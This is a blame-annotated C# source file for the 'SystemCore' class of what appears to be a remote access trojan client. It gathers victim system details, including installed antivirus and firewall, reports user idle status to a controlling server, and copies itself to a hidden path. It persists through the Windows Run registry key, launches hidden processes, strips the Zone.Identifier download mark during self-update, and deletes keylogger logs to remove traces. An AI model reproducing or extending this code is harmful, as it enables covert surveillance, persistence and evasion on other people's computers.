2015-01-13 18:29:11 +00:00
|
|
|
|
using System;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
using System.Diagnostics;
|
|
|
|
|
using System.IO;
|
|
|
|
|
using System.Management;
|
2015-02-24 20:58:20 +00:00
|
|
|
|
using System.Net.NetworkInformation;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
using System.Net.Sockets;
|
|
|
|
|
using System.Runtime.InteropServices;
|
|
|
|
|
using System.Security.Principal;
|
|
|
|
|
using System.Threading;
|
2015-01-13 18:29:11 +00:00
|
|
|
|
using Microsoft.Win32;
|
|
|
|
|
using xClient.Config;
|
2015-03-20 13:45:58 +00:00
|
|
|
|
using xClient.Core.Encryption;
|
2015-06-02 18:15:36 +00:00
|
|
|
|
using xClient.Core.Extensions;
|
2015-07-25 22:10:59 +00:00
|
|
|
|
using xClient.Core.Helper;
|
2015-06-05 21:07:37 +00:00
|
|
|
|
using xClient.Core.Networking;
|
2015-07-27 15:24:43 +00:00
|
|
|
|
using xClient.Core.Utilities;
|
2015-07-25 22:10:59 +00:00
|
|
|
|
using xClient.Enums;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
namespace xClient.Core
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-01-13 18:43:55 +00:00
|
|
|
|
public static class SystemCore
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-05-26 13:55:52 +00:00
|
|
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
|
|
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
|
|
|
|
private static extern bool DeleteFile(string name);
|
|
|
|
|
|
2014-07-08 12:58:53 +00:00
|
|
|
|
[DllImport("user32.dll")]
|
2015-04-21 18:27:52 +00:00
|
|
|
|
private static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
2015-04-21 18:27:52 +00:00
|
|
|
|
private struct LASTINPUTINFO
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-08-17 11:26:09 +00:00
|
|
|
|
public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO));
|
|
|
|
|
[MarshalAs(UnmanagedType.U4)]
|
|
|
|
|
public UInt32 cbSize;
|
|
|
|
|
[MarshalAs(UnmanagedType.U4)]
|
|
|
|
|
public UInt32 dwTime;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
|
2015-07-14 21:18:48 +00:00
|
|
|
|
public static UserStatus LastStatus { get; set; }
|
|
|
|
|
public static bool Disconnect { get; set; } // when Disconnect is true, stop all running threads
|
|
|
|
|
public static string OperatingSystem { get; set; }
|
|
|
|
|
public static string MyPath { get; set; }
|
|
|
|
|
public static string InstallPath { get; set; }
|
2015-07-26 14:44:03 +00:00
|
|
|
|
public static string AccountType { get; set; }
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
|
|
|
|
public static string GetOperatingSystem()
|
|
|
|
|
{
|
2015-07-26 14:44:03 +00:00
|
|
|
|
return string.Format("{0} {1} Bit", PlatformHelper.Name, PlatformHelper.Architecture);
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public static string GetAccountType()
|
|
|
|
|
{
|
2015-03-16 17:12:19 +00:00
|
|
|
|
using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
|
2015-02-24 18:21:01 +00:00
|
|
|
|
{
|
2015-03-16 17:12:19 +00:00
|
|
|
|
if (identity != null)
|
|
|
|
|
{
|
|
|
|
|
WindowsPrincipal principal = new WindowsPrincipal(identity);
|
|
|
|
|
|
|
|
|
|
if (principal.IsInRole(WindowsBuiltInRole.Administrator))
|
|
|
|
|
return "Admin";
|
|
|
|
|
if (principal.IsInRole(WindowsBuiltInRole.User))
|
|
|
|
|
return "User";
|
|
|
|
|
if (principal.IsInRole(WindowsBuiltInRole.Guest))
|
|
|
|
|
return "Guest";
|
|
|
|
|
}
|
2015-02-24 18:21:01 +00:00
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-02-24 18:21:01 +00:00
|
|
|
|
return "Unknown";
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
|
2015-03-20 13:45:58 +00:00
|
|
|
|
public static string GetId()
|
|
|
|
|
{
|
|
|
|
|
return SHA256.ComputeHash(GetMacAddress());
|
|
|
|
|
}
|
|
|
|
|
|
2014-07-08 12:58:53 +00:00
|
|
|
|
public static string GetCpu()
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
2015-03-17 09:28:46 +00:00
|
|
|
|
string cpuName = string.Empty;
|
2015-02-24 18:21:01 +00:00
|
|
|
|
string query = "SELECT * FROM Win32_Processor";
|
2015-03-16 17:12:19 +00:00
|
|
|
|
|
|
|
|
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("root\\CIMV2", query))
|
|
|
|
|
{
|
|
|
|
|
foreach (ManagementObject mObject in searcher.Get())
|
|
|
|
|
{
|
|
|
|
|
cpuName = mObject["Name"].ToString();
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-08-17 11:10:50 +00:00
|
|
|
|
|
|
|
|
|
return (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A";
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
catch
|
2015-04-21 18:27:52 +00:00
|
|
|
|
{
|
|
|
|
|
}
|
2015-03-16 17:12:19 +00:00
|
|
|
|
|
|
|
|
|
return "Unknown";
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public static int GetRam()
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
int installedRAM = 0;
|
2015-02-24 18:21:01 +00:00
|
|
|
|
string query = "Select * From Win32_ComputerSystem";
|
2015-03-16 17:12:19 +00:00
|
|
|
|
|
|
|
|
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-03-16 17:12:19 +00:00
|
|
|
|
foreach (ManagementObject mObject in searcher.Get())
|
|
|
|
|
{
|
|
|
|
|
double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"]));
|
2015-04-21 18:27:52 +00:00
|
|
|
|
installedRAM = (int) (bytes/1048576);
|
2015-03-16 17:12:19 +00:00
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return installedRAM;
|
|
|
|
|
}
|
|
|
|
|
catch
|
|
|
|
|
{
|
2014-07-24 21:26:59 +00:00
|
|
|
|
return -1;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public static string GetGpu()
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
2015-02-24 18:21:01 +00:00
|
|
|
|
string gpuName = string.Empty;
|
|
|
|
|
string query = "SELECT * FROM Win32_DisplayConfiguration";
|
2015-03-16 17:12:19 +00:00
|
|
|
|
|
|
|
|
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
|
|
|
|
{
|
|
|
|
|
foreach (ManagementObject mObject in searcher.Get())
|
|
|
|
|
{
|
|
|
|
|
gpuName = mObject["Description"].ToString();
|
|
|
|
|
}
|
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-02-24 18:21:01 +00:00
|
|
|
|
return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
catch
|
|
|
|
|
{
|
|
|
|
|
return "Unknown";
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2014-07-18 16:23:04 +00:00
|
|
|
|
public static string GetAntivirus()
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
2015-02-24 18:21:01 +00:00
|
|
|
|
string antivirusName = string.Empty;
|
2015-08-17 11:10:50 +00:00
|
|
|
|
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
|
|
|
|
|
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
|
2015-02-24 18:21:01 +00:00
|
|
|
|
string query = "SELECT * FROM AntivirusProduct";
|
2015-03-16 17:12:19 +00:00
|
|
|
|
|
|
|
|
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
|
|
|
|
|
{
|
|
|
|
|
foreach (ManagementObject mObject in searcher.Get())
|
|
|
|
|
{
|
|
|
|
|
antivirusName = mObject["displayName"].ToString();
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-02-24 18:21:01 +00:00
|
|
|
|
|
|
|
|
|
return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A";
|
2014-07-18 16:23:04 +00:00
|
|
|
|
}
|
|
|
|
|
catch
|
|
|
|
|
{
|
|
|
|
|
return "Unknown";
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public static string GetFirewall()
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
2015-02-24 18:21:01 +00:00
|
|
|
|
string firewallName = string.Empty;
|
2015-08-17 11:10:50 +00:00
|
|
|
|
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
|
|
|
|
|
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
|
2015-02-24 18:21:01 +00:00
|
|
|
|
string query = "SELECT * FROM FirewallProduct";
|
2015-03-16 17:12:19 +00:00
|
|
|
|
|
|
|
|
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
|
|
|
|
|
{
|
|
|
|
|
foreach (ManagementObject mObject in searcher.Get())
|
|
|
|
|
{
|
|
|
|
|
firewallName = mObject["displayName"].ToString();
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-02-24 18:21:01 +00:00
|
|
|
|
|
|
|
|
|
return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A";
|
2014-07-18 16:23:04 +00:00
|
|
|
|
}
|
|
|
|
|
catch
|
|
|
|
|
{
|
|
|
|
|
return "Unknown";
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2015-02-24 18:21:01 +00:00
|
|
|
|
public static string GetUptime()
|
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
int uptimeSec = Environment.TickCount/1000;
|
2015-02-24 18:21:01 +00:00
|
|
|
|
TimeSpan result = TimeSpan.FromSeconds(uptimeSec);
|
|
|
|
|
return string.Format("{0}d : {1}h : {2}m : {3}s", result.Days, result.Hours, result.Minutes, result.Seconds);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public static string GetUsername()
|
|
|
|
|
{
|
|
|
|
|
return Environment.UserName;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public static string GetPcName()
|
|
|
|
|
{
|
|
|
|
|
return Environment.MachineName;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public static string GetLanIp()
|
|
|
|
|
{
|
2015-02-24 20:58:20 +00:00
|
|
|
|
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
|
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
|
|
|
|
|
ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
|
|
|
|
|
ni.OperationalStatus == OperationalStatus.Up)
|
2015-02-24 20:58:20 +00:00
|
|
|
|
{
|
|
|
|
|
foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
|
|
|
|
|
{
|
|
|
|
|
if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
|
|
|
|
|
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
|
|
|
|
|
continue;
|
|
|
|
|
|
|
|
|
|
return ip.Address.ToString();
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-02-24 18:21:01 +00:00
|
|
|
|
|
2015-02-24 20:58:20 +00:00
|
|
|
|
return "-";
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public static string GetMacAddress()
|
|
|
|
|
{
|
|
|
|
|
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
|
2015-02-24 18:21:01 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
|
|
|
|
|
ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
|
|
|
|
|
ni.OperationalStatus == OperationalStatus.Up)
|
2015-02-24 18:21:01 +00:00
|
|
|
|
{
|
2015-02-24 20:58:20 +00:00
|
|
|
|
bool foundCorrect = false;
|
|
|
|
|
foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
|
|
|
|
|
{
|
|
|
|
|
if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
|
|
|
|
|
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
|
|
|
|
|
continue;
|
|
|
|
|
|
|
|
|
|
foundCorrect = (ip.Address.ToString() == GetLanIp());
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (foundCorrect)
|
2015-07-25 22:10:59 +00:00
|
|
|
|
return FormatHelper.FormatMacAddress(ni.GetPhysicalAddress().ToString());
|
2015-02-24 18:21:01 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2015-02-24 20:58:20 +00:00
|
|
|
|
return "-";
|
2015-02-24 18:21:01 +00:00
|
|
|
|
}
|
|
|
|
|
|
2014-07-08 12:58:53 +00:00
|
|
|
|
public static bool CreateMutex(ref Mutex mutex)
|
|
|
|
|
{
|
2015-03-12 09:44:53 +00:00
|
|
|
|
bool createdNew;
|
2015-02-24 18:21:01 +00:00
|
|
|
|
mutex = new Mutex(false, Settings.MUTEX, out createdNew);
|
2014-07-08 12:58:53 +00:00
|
|
|
|
return createdNew;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public static void UserIdleThread()
|
|
|
|
|
{
|
|
|
|
|
while (!Disconnect)
|
|
|
|
|
{
|
|
|
|
|
Thread.Sleep(5000);
|
|
|
|
|
if (IsUserIdle())
|
|
|
|
|
{
|
2015-07-14 21:18:48 +00:00
|
|
|
|
if (LastStatus != UserStatus.Idle)
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-07-14 21:18:48 +00:00
|
|
|
|
LastStatus = UserStatus.Idle;
|
2015-07-14 17:00:31 +00:00
|
|
|
|
new Packets.ClientPackets.SetUserStatus(LastStatus).Execute(Program.ConnectClient);
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
else
|
|
|
|
|
{
|
2015-07-14 21:18:48 +00:00
|
|
|
|
if (LastStatus != UserStatus.Active)
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-07-14 21:18:48 +00:00
|
|
|
|
LastStatus = UserStatus.Active;
|
2015-07-14 17:00:31 +00:00
|
|
|
|
new Packets.ClientPackets.SetUserStatus(LastStatus).Execute(Program.ConnectClient);
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private static bool IsUserIdle()
|
|
|
|
|
{
|
|
|
|
|
uint idleTime = 0;
|
|
|
|
|
LASTINPUTINFO lastInputInfo = new LASTINPUTINFO();
|
2015-04-21 18:27:52 +00:00
|
|
|
|
lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo);
|
2014-07-08 12:58:53 +00:00
|
|
|
|
lastInputInfo.dwTime = 0;
|
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
uint envTicks = (uint) Environment.TickCount;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
|
|
|
|
if (GetLastInputInfo(ref lastInputInfo))
|
|
|
|
|
{
|
|
|
|
|
uint lastInputTick = lastInputInfo.dwTime;
|
|
|
|
|
idleTime = envTicks - lastInputTick;
|
|
|
|
|
}
|
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
idleTime = ((idleTime > 0) ? (idleTime/1000) : 0);
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-02-24 18:21:01 +00:00
|
|
|
|
return (idleTime > 600); // idle for 10 minutes
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
|
2015-05-26 16:28:15 +00:00
|
|
|
|
public static void AddToStartup()
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
|
|
|
|
if (Settings.STARTUP)
|
|
|
|
|
{
|
|
|
|
|
if (AccountType == "Admin")
|
|
|
|
|
{
|
2015-03-12 09:44:53 +00:00
|
|
|
|
try // try LocalMachine
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
using (
|
|
|
|
|
RegistryKey key =
|
2015-06-02 18:38:44 +00:00
|
|
|
|
Registry.LocalMachine.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
2015-03-16 17:12:19 +00:00
|
|
|
|
{
|
|
|
|
|
if (key == null) throw new Exception();
|
|
|
|
|
key.SetValue(Settings.STARTUPKEY, InstallPath);
|
|
|
|
|
key.Close();
|
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
2015-03-12 09:44:53 +00:00
|
|
|
|
catch // if fails use CurrentUser
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-03-12 09:44:53 +00:00
|
|
|
|
try
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
using (
|
|
|
|
|
RegistryKey key =
|
2015-06-02 18:38:44 +00:00
|
|
|
|
Registry.CurrentUser.OpenWritableSubKeySafe(
|
2015-06-02 18:15:36 +00:00
|
|
|
|
"Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
2015-03-16 17:12:19 +00:00
|
|
|
|
{
|
|
|
|
|
if (key == null) throw new Exception();
|
|
|
|
|
key.SetValue(Settings.STARTUPKEY, InstallPath);
|
|
|
|
|
key.Close();
|
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
catch
|
2015-04-21 18:27:52 +00:00
|
|
|
|
{
|
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
else
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
using (
|
|
|
|
|
RegistryKey key =
|
2015-06-02 18:38:44 +00:00
|
|
|
|
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
2015-03-16 17:12:19 +00:00
|
|
|
|
{
|
|
|
|
|
if (key == null) throw new Exception();
|
|
|
|
|
key.SetValue(Settings.STARTUPKEY, InstallPath);
|
|
|
|
|
key.Close();
|
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
catch
|
2015-04-21 18:27:52 +00:00
|
|
|
|
{
|
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
2015-05-26 16:28:15 +00:00
|
|
|
|
}
|
|
|
|
|
|
2015-07-27 15:24:43 +00:00
|
|
|
|
public static void RemoveFromStartup()
|
|
|
|
|
{
|
|
|
|
|
if (Settings.STARTUP)
|
|
|
|
|
{
|
|
|
|
|
if (AccountType == "Admin")
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
using (
|
|
|
|
|
RegistryKey key =
|
|
|
|
|
Registry.LocalMachine.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
|
|
|
|
{
|
|
|
|
|
if (key != null)
|
|
|
|
|
{
|
|
|
|
|
key.DeleteValue(Settings.STARTUPKEY, false);
|
|
|
|
|
key.Close();
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
catch
|
|
|
|
|
{
|
|
|
|
|
// try deleting from Registry.CurrentUser
|
|
|
|
|
using (
|
|
|
|
|
RegistryKey key =
|
|
|
|
|
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
|
|
|
|
{
|
|
|
|
|
if (key != null)
|
|
|
|
|
{
|
|
|
|
|
key.DeleteValue(Settings.STARTUPKEY, false);
|
|
|
|
|
key.Close();
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
else
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
using (
|
|
|
|
|
RegistryKey key =
|
|
|
|
|
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
|
|
|
|
{
|
|
|
|
|
if (key != null)
|
|
|
|
|
{
|
|
|
|
|
key.DeleteValue(Settings.STARTUPKEY, false);
|
|
|
|
|
key.Close();
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
catch
|
|
|
|
|
{
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2015-05-26 16:28:15 +00:00
|
|
|
|
public static void Install(bool addToStartup = true)
|
|
|
|
|
{
|
|
|
|
|
bool isKilled = false;
|
|
|
|
|
|
|
|
|
|
// create target dir
|
|
|
|
|
if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER)))
|
|
|
|
|
Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER));
|
|
|
|
|
|
|
|
|
|
// delete existing file
|
|
|
|
|
if (File.Exists(InstallPath))
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
File.Delete(InstallPath);
|
|
|
|
|
}
|
|
|
|
|
catch (Exception ex)
|
|
|
|
|
{
|
|
|
|
|
if (ex is IOException || ex is UnauthorizedAccessException)
|
|
|
|
|
{
|
|
|
|
|
// kill old process if new mutex
|
|
|
|
|
Process[] foundProcesses =
|
|
|
|
|
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(InstallPath));
|
|
|
|
|
int myPid = Process.GetCurrentProcess().Id;
|
|
|
|
|
foreach (var prc in foundProcesses)
|
|
|
|
|
{
|
|
|
|
|
if (prc.Id == myPid) continue;
|
|
|
|
|
prc.Kill();
|
|
|
|
|
isKilled = true;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (isKilled) Thread.Sleep(5000);
|
|
|
|
|
|
|
|
|
|
//copy client to target dir
|
|
|
|
|
File.Copy(MyPath, InstallPath, true);
|
|
|
|
|
|
|
|
|
|
if (addToStartup)
|
|
|
|
|
AddToStartup();
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
|
|
|
|
if (Settings.HIDEFILE)
|
2015-03-12 09:44:53 +00:00
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
File.SetAttributes(InstallPath, FileAttributes.Hidden);
|
|
|
|
|
}
|
|
|
|
|
catch
|
2015-04-21 18:27:52 +00:00
|
|
|
|
{
|
|
|
|
|
}
|
2015-03-12 09:44:53 +00:00
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
|
|
|
|
//start file
|
2015-03-12 09:44:53 +00:00
|
|
|
|
var startInfo = new ProcessStartInfo
|
|
|
|
|
{
|
|
|
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
|
|
|
|
CreateNoWindow = true,
|
|
|
|
|
UseShellExecute = true,
|
|
|
|
|
FileName = InstallPath
|
|
|
|
|
};
|
2014-07-08 12:58:53 +00:00
|
|
|
|
Process.Start(startInfo);
|
|
|
|
|
|
2015-03-12 09:44:53 +00:00
|
|
|
|
Disconnect = true;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
2015-05-26 13:55:52 +00:00
|
|
|
|
|
2015-05-26 16:14:24 +00:00
|
|
|
|
public static void UpdateClient(Client c, string newFile)
|
2015-05-26 13:55:52 +00:00
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
DeleteFile(newFile + ":Zone.Identifier");
|
|
|
|
|
|
|
|
|
|
var bytes = File.ReadAllBytes(newFile);
|
|
|
|
|
if (bytes[0] != 'M' && bytes[1] != 'Z')
|
|
|
|
|
throw new Exception("no pe file");
|
|
|
|
|
|
|
|
|
|
string filename = Path.Combine(
|
|
|
|
|
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
|
2015-07-25 22:10:59 +00:00
|
|
|
|
FileHelper.GetRandomFilename(12, ".bat"));
|
2015-05-26 13:55:52 +00:00
|
|
|
|
|
|
|
|
|
string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE)
|
|
|
|
|
? "@echo off" + "\n" +
|
|
|
|
|
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
|
|
|
|
"ping -n 20 localhost > nul" + "\n" +
|
|
|
|
|
"del /A:H " + "\"" + MyPath + "\"" + "\n" +
|
|
|
|
|
"move " + "\"" + newFile + "\"" + " " + "\"" + MyPath + "\"" + "\n" +
|
|
|
|
|
"start \"\" " + "\"" + MyPath + "\"" + "\n" +
|
|
|
|
|
"del " + "\"" + filename + "\""
|
|
|
|
|
: "@echo off" + "\n" +
|
|
|
|
|
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
|
|
|
|
"ping -n 20 localhost > nul" + "\n" +
|
|
|
|
|
"del " + "\"" + MyPath + "\"" + "\n" +
|
|
|
|
|
"move " + "\"" + newFile + "\"" + " " + "\"" + MyPath + "\"" + "\n" +
|
|
|
|
|
"start \"\" " + "\"" + MyPath + "\"" + "\n" +
|
|
|
|
|
"del " + "\"" + filename + "\""
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
File.WriteAllText(filename, uninstallBatch);
|
|
|
|
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
|
|
|
|
{
|
|
|
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
|
|
|
|
CreateNoWindow = true,
|
|
|
|
|
UseShellExecute = true,
|
|
|
|
|
FileName = filename
|
|
|
|
|
};
|
|
|
|
|
Process.Start(startInfo);
|
|
|
|
|
|
|
|
|
|
Disconnect = true;
|
|
|
|
|
c.Disconnect();
|
2015-05-26 16:14:24 +00:00
|
|
|
|
RemoveTraces();
|
2015-05-26 13:55:52 +00:00
|
|
|
|
}
|
|
|
|
|
catch (Exception ex)
|
|
|
|
|
{
|
|
|
|
|
DeleteFile(newFile);
|
2015-07-14 17:00:31 +00:00
|
|
|
|
new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(c);
|
2015-05-26 13:55:52 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
2015-05-26 16:14:24 +00:00
|
|
|
|
|
|
|
|
|
public static void RemoveTraces()
|
|
|
|
|
{
|
2015-07-27 15:24:43 +00:00
|
|
|
|
RemoveFromStartup();
|
2015-05-26 16:14:24 +00:00
|
|
|
|
|
2015-07-27 15:24:43 +00:00
|
|
|
|
if (Directory.Exists(Keylogger.LogDirectory)) // try to delete Logs from Keylogger
|
2015-05-26 16:14:24 +00:00
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
2015-07-27 15:24:43 +00:00
|
|
|
|
Directory.Delete(Keylogger.LogDirectory, true);
|
2015-05-26 16:14:24 +00:00
|
|
|
|
}
|
|
|
|
|
catch
|
|
|
|
|
{
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|